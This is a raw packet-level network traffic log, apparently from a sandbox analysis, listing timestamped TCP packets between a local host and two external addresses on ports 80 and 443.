Aug 30, 2024 06:17:05.019193888 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.019207001 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.019253969 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.019386053 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.019396067 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.019406080 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.019416094 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.019424915 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.019434929 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.019434929 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.019434929 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.019444942 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.019464970 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.019474030 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.019484997 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.019493103 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.019503117 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.019503117 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.019503117 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.019512892 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.019515038 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.019522905 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.019531965 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.019536018 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.019570112 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.019570112 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.068459988 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.068475962 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.068644047 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.068655014 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.068696976 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.068846941 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.068864107 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.068897009 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.068902969 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.068931103 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.068945885 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.069380045 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.069396019 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.069448948 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.069454908 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.069466114 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.069490910 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.069891930 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.069907904 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.069967031 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.069973946 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.070008993 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.070606947 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.070624113 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.070662022 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.070667982 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.070697069 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.070713997 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.070981026 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.070995092 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.071048021 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.071055889 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.071093082 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.071508884 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.071522951 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.071577072 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.071583033 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.071619987 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.072032928 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.072052002 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.072101116 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.072108030 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.072141886 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.075555086 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.075700045 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.075711012 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.075772047 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.075839043 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.075849056 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.075858116 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.075867891 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.075895071 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.075908899 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.076674938 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.076684952 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.076719046 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.076736927 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.076809883 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.076818943 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.076828003 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.076838017 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.076853037 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.076879025 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.076971054 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.076978922 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.076987028 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.076997042 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.077006102 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.077014923 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.077025890 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.077025890 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.077035904 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.077039957 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.077052116 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.077079058 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.077106953 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.077117920 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.077125072 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.077133894 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.077142000 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.077176094 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.077282906 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.077291965 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.077300072 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.077308893 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.077318907 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.077327967 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.077328920 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.077342987 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.077346087 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.077364922 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.077373028 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.077424049 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.077466011 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.077545881 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.077559948 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.077569008 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.077579021 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.077586889 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.077593088 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.077596903 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.077605963 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.077615023 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.077616930 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.077625036 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.077634096 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.077642918 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.077655077 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.077668905 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.077682972 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.077728987 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.077887058 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.077897072 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.077907085 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.077936888 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.077954054 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.078279972 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078289986 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078299999 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078309059 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078319073 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078329086 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078330994 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.078340054 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078350067 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078358889 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078361034 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.078377962 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.078392029 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.078402042 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078417063 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078427076 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078438044 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078447104 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078454018 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.078455925 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078464985 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078474998 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078476906 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.078485012 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078495979 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.078495979 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078505993 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078509092 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.078515053 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078526974 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078528881 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.078542948 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.078545094 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078560114 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078568935 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078572035 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.078583002 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078593969 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078593969 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.078603029 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078609943 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.078612089 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078620911 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078629971 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078635931 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.078638077 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078648090 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078659058 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078665972 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.078666925 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078675985 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078684092 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.078695059 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.078702927 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078711987 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078720093 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078721046 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.078728914 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078739882 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078752995 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.078752995 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078763008 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078769922 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.078773022 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078783035 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078792095 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.078793049 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078802109 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078810930 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078815937 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.078820944 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078835964 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.078844070 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078852892 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.078860044 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078869104 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078879118 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078882933 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.078886986 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078896046 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078906059 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078913927 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.078916073 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078923941 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078933954 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078941107 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.078943014 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078953028 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078963041 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.078963995 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078969955 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.078974962 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078984022 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.078990936 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.079019070 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.079042912 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.079056978 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.079068899 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.079077005 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.079086065 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.079094887 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.079102039 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.079104900 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.079113960 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.079119921 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.079124928 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.079133034 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.079134941 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.079140902 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.079150915 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.079159975 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.079164028 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.079173088 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.079183102 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.079189062 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.079191923 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.079201937 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.079227924 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.105853081 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.105864048 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.105873108 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.105891943 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.105901957 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.105911970 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.105922937 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.105923891 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.105932951 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.105942965 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.105952024 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.105961084 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.105969906 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.105988979 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.106050968 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.106060982 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.106070042 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.106080055 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.106091976 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.106101036 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.106101036 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.106101036 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.106111050 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.106118917 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.106129885 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.106139898 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.106167078 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.106167078 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.106169939 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.106179953 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.106188059 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.106198072 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.106208086 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.106231928 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.106232882 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.106249094 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.106307983 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.106317997 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.106327057 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.106334925 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.106344938 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.106354952 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.106358051 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.106358051 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.106395960 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.106395960 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.106542110 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.106550932 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.106559038 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.106569052 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.106578112 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.106587887 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.106596947 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.106596947 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.106596947 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.106606960 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.106615067 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.106623888 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.106625080 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.106635094 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.106643915 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.106648922 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.106648922 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.106652975 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.106694937 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.106694937 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.106697083 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.106707096 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.106715918 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.106745958 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.106762886 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.106920958 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.106930971 CEST	80	49733	147.45.44.104	192.168.2.4
